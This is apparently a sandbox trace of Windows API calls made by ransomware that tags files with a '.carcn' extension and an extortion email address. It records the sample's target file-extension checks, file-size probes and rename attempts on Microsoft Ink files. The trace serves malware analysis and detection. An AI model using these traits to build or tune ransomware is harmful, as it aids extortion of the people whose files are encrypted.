[0163.445] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.445] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0163.445] lstrlenW (lpString="boxed-split.avi") returned 15 [0163.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0163.832] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=84190) returned 1 [0163.832] CloseHandle (hObject=0x388) returned 1 [0163.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0163.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0163.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0163.832] lstrlenW (lpString=".doc") returned 4 [0163.832] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.832] lstrlenW (lpString=".docx") returned 5 [0163.832] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0163.832] lstrlenW (lpString=".pdf") returned 4 [0163.833] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.833] lstrlenW (lpString=".xls") returned 4 [0163.833] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0163.833] lstrlenW (lpString=".xlsx") returned 5 [0163.833] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0163.833] lstrlenW (lpString=".ppt") returned 4 [0163.833] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0163.833] lstrlenW (lpString=".zip") returned 4 [0163.833] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.833] lstrlenW (lpString=".rar") returned 4 [0163.833] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.833] lstrlenW (lpString=".bz2") returned 4 [0163.833] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.833] lstrlenW (lpString=".7z") returned 3 [0163.833] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0163.833] lstrlenW (lpString=".dbf") returned 4 [0163.833] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0163.833] lstrlenW (lpString=".1cd") returned 4 [0163.833] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0163.833] lstrlenW (lpString=".jpg") returned 4 [0163.833] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0163.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0163.833] lstrlenW (lpString=".doc") returned 4 [0163.833] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.833] lstrlenW (lpString=".docx") returned 5 [0163.833] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0163.833] lstrlenW (lpString=".pdf") returned 4 [0163.833] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.833] lstrlenW (lpString=".xls") returned 4 [0163.834] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0163.834] lstrlenW (lpString=".xlsx") returned 5 [0163.834] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0163.834] lstrlenW (lpString=".ppt") returned 4 [0163.834] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0163.834] lstrlenW (lpString=".zip") returned 4 [0163.834] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.834] lstrlenW (lpString=".rar") returned 4 [0163.834] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.834] lstrlenW (lpString=".bz2") returned 4 [0163.834] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.834] lstrlenW (lpString=".7z") returned 3 [0163.834] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0163.834] lstrlenW (lpString=".dbf") returned 4 [0163.834] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0163.834] lstrlenW (lpString=".1cd") returned 4 [0163.834] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0163.834] lstrlenW (lpString=".jpg") returned 4 [0163.834] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.834] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0163.834] lstrlenW (lpString="split.avi") returned 9 [0163.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0163.835] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=181964) returned 1 [0163.835] CloseHandle (hObject=0x388) returned 1 [0163.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0163.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0163.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0163.835] lstrlenW (lpString=".doc") returned 4 [0163.835] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.835] lstrlenW (lpString=".docx") returned 5 [0163.835] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0163.835] lstrlenW (lpString=".pdf") returned 4 [0163.835] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.835] lstrlenW (lpString=".xls") returned 4 [0163.835] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0163.835] lstrlenW (lpString=".xlsx") returned 5 [0163.835] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0163.835] lstrlenW (lpString=".ppt") returned 4 [0163.835] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0163.835] lstrlenW (lpString=".zip") returned 4 [0163.835] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.835] lstrlenW (lpString=".rar") returned 4 [0163.835] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.836] lstrlenW (lpString=".bz2") returned 4 [0163.836] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.836] lstrlenW (lpString=".7z") returned 3 [0163.836] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0163.836] lstrlenW (lpString=".dbf") returned 4 [0163.836] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0163.836] lstrlenW (lpString=".1cd") returned 4 [0163.836] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0163.836] lstrlenW (lpString=".jpg") returned 4 [0163.836] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0163.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0163.836] lstrlenW (lpString=".doc") returned 4 [0163.836] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0163.836] lstrlenW (lpString=".docx") returned 5 [0163.836] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0163.836] lstrlenW (lpString=".pdf") returned 4 [0163.836] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.837] lstrlenW (lpString=".xls") returned 4 [0163.837] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0163.837] lstrlenW (lpString=".xlsx") returned 5 [0163.837] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0163.837] lstrlenW (lpString=".ppt") returned 4 [0163.837] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0163.837] lstrlenW (lpString=".zip") returned 4 [0163.837] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.837] lstrlenW (lpString=".rar") returned 4 [0163.837] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.837] lstrlenW (lpString=".bz2") returned 4 [0163.837] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.837] lstrlenW (lpString=".7z") returned 3 [0163.837] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0163.837] lstrlenW (lpString=".dbf") returned 4 [0163.837] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0163.837] lstrlenW (lpString=".1cd") returned 4 [0163.837] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0163.837] lstrlenW (lpString=".jpg") returned 4 [0163.837] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.838] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0163.838] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0163.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0164.013] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1600388) returned 1 [0164.013] CloseHandle (hObject=0x310) returned 1 [0164.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0164.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0164.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0164.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0164.013] lstrlenW (lpString=".doc") returned 4 [0164.013] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0164.013] lstrlenW (lpString=".docx") returned 5 [0164.014] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0164.014] lstrlenW (lpString=".pdf") returned 4 [0164.014] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0164.014] lstrlenW (lpString=".xls") returned 4 [0164.014] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0164.014] lstrlenW (lpString=".xlsx") returned 5 [0164.014] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0164.014] lstrlenW (lpString=".ppt") returned 4 [0164.014] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0164.014] lstrlenW (lpString=".zip") returned 4 [0164.014] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0164.014] lstrlenW (lpString=".rar") returned 4 [0164.014] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0164.014] lstrlenW (lpString=".bz2") returned 4 [0164.014] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0164.014] lstrlenW (lpString=".7z") returned 3 [0164.014] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0164.014] lstrlenW (lpString=".dbf") returned 4 [0164.014] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0164.014] lstrlenW (lpString=".1cd") returned 4 [0164.014] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0164.014] lstrlenW (lpString=".jpg") returned 4 [0164.014] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0164.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0164.014] lstrlenW (lpString=".doc") returned 4 [0164.014] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0164.014] lstrlenW (lpString=".docx") returned 5 [0164.014] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0164.014] lstrlenW (lpString=".pdf") returned 4 [0164.015] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0164.015] lstrlenW (lpString=".xls") returned 4 [0164.015] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0164.015] lstrlenW (lpString=".xlsx") returned 5 [0164.015] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0164.015] lstrlenW (lpString=".ppt") returned 4 [0164.015] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0164.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0164.015] lstrlenW (lpString=".zip") returned 4 [0164.015] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0164.015] lstrlenW (lpString=".rar") returned 4 [0164.015] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0164.015] lstrlenW (lpString=".bz2") returned 4 [0164.015] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0164.015] lstrlenW (lpString=".7z") returned 3 [0164.015] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0164.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0164.015] lstrlenW (lpString=".dbf") returned 4 [0164.015] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0164.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0164.015] lstrlenW (lpString=".1cd") returned 4 [0164.015] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0164.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0164.015] lstrlenW (lpString=".jpg") returned 4 [0164.015] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0164.015] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0164.015] lstrlenW (lpString="base_heb.xml") returned 12 [0164.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0164.902] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=738) returned 1 [0164.902] CloseHandle (hObject=0x314) returned 1 [0164.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0164.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0164.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0164.902] lstrlenW (lpString=".doc") returned 4 [0164.902] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.902] lstrlenW (lpString=".docx") returned 5 [0164.902] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0164.902] lstrlenW (lpString=".pdf") returned 4 [0164.902] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.902] lstrlenW (lpString=".xls") returned 4 [0164.902] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.902] lstrlenW (lpString=".xlsx") returned 5 [0164.902] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0164.902] lstrlenW (lpString=".ppt") returned 4 [0164.902] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0164.903] lstrlenW (lpString=".zip") returned 4 [0164.903] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.903] lstrlenW (lpString=".rar") returned 4 [0164.903] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.903] lstrlenW (lpString=".bz2") returned 4 [0164.903] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.903] lstrlenW (lpString=".7z") returned 3 [0164.903] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0164.903] lstrlenW (lpString=".dbf") returned 4 [0164.903] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0164.903] lstrlenW (lpString=".1cd") returned 4 [0164.903] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0164.903] lstrlenW (lpString=".jpg") returned 4 [0164.903] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0164.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0164.903] lstrlenW (lpString=".doc") returned 4 [0164.903] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.903] lstrlenW (lpString=".docx") returned 5 [0164.903] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0164.903] lstrlenW (lpString=".pdf") returned 4 [0164.903] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.903] lstrlenW (lpString=".xls") returned 4 [0164.903] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.904] lstrlenW (lpString=".xlsx") returned 5 [0164.904] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0164.904] lstrlenW (lpString=".ppt") returned 4 [0164.904] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0164.904] lstrlenW (lpString=".zip") returned 4 [0164.904] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.904] lstrlenW (lpString=".rar") returned 4 [0164.904] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.904] lstrlenW (lpString=".bz2") returned 4 [0164.904] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.904] lstrlenW (lpString=".7z") returned 3 [0164.905] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0164.905] lstrlenW (lpString=".dbf") returned 4 [0164.905] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0164.905] lstrlenW (lpString=".1cd") returned 4 [0164.905] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0164.905] lstrlenW (lpString=".jpg") returned 4 [0164.905] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.905] lstrcmpiW (lpString1=".dat", lpString2=".carcn") returned 1 [0164.905] lstrlenW (lpString="hwrenclm.dat") returned 12 [0164.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0168.068] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=498624) returned 1 [0168.068] CloseHandle (hObject=0x318) returned 1 [0168.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0168.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0168.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0168.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0168.068] lstrlenW (lpString=".doc") returned 4 [0168.068] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0168.068] lstrlenW (lpString=".docx") returned 5 [0168.068] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0168.068] lstrlenW (lpString=".pdf") returned 4 [0168.068] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0168.068] lstrlenW (lpString=".xls") returned 4 [0168.068] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0168.068] lstrlenW (lpString=".xlsx") returned 5 [0168.068] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0168.068] lstrlenW (lpString=".ppt") returned 4 [0168.069] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0168.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0168.069] lstrlenW (lpString=".zip") returned 4 [0168.069] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0168.069] lstrlenW (lpString=".rar") returned 4 [0168.069] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0168.069] lstrlenW (lpString=".bz2") returned 4 [0168.069] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0168.069] lstrlenW (lpString=".7z") returned 3 [0168.069] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0168.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 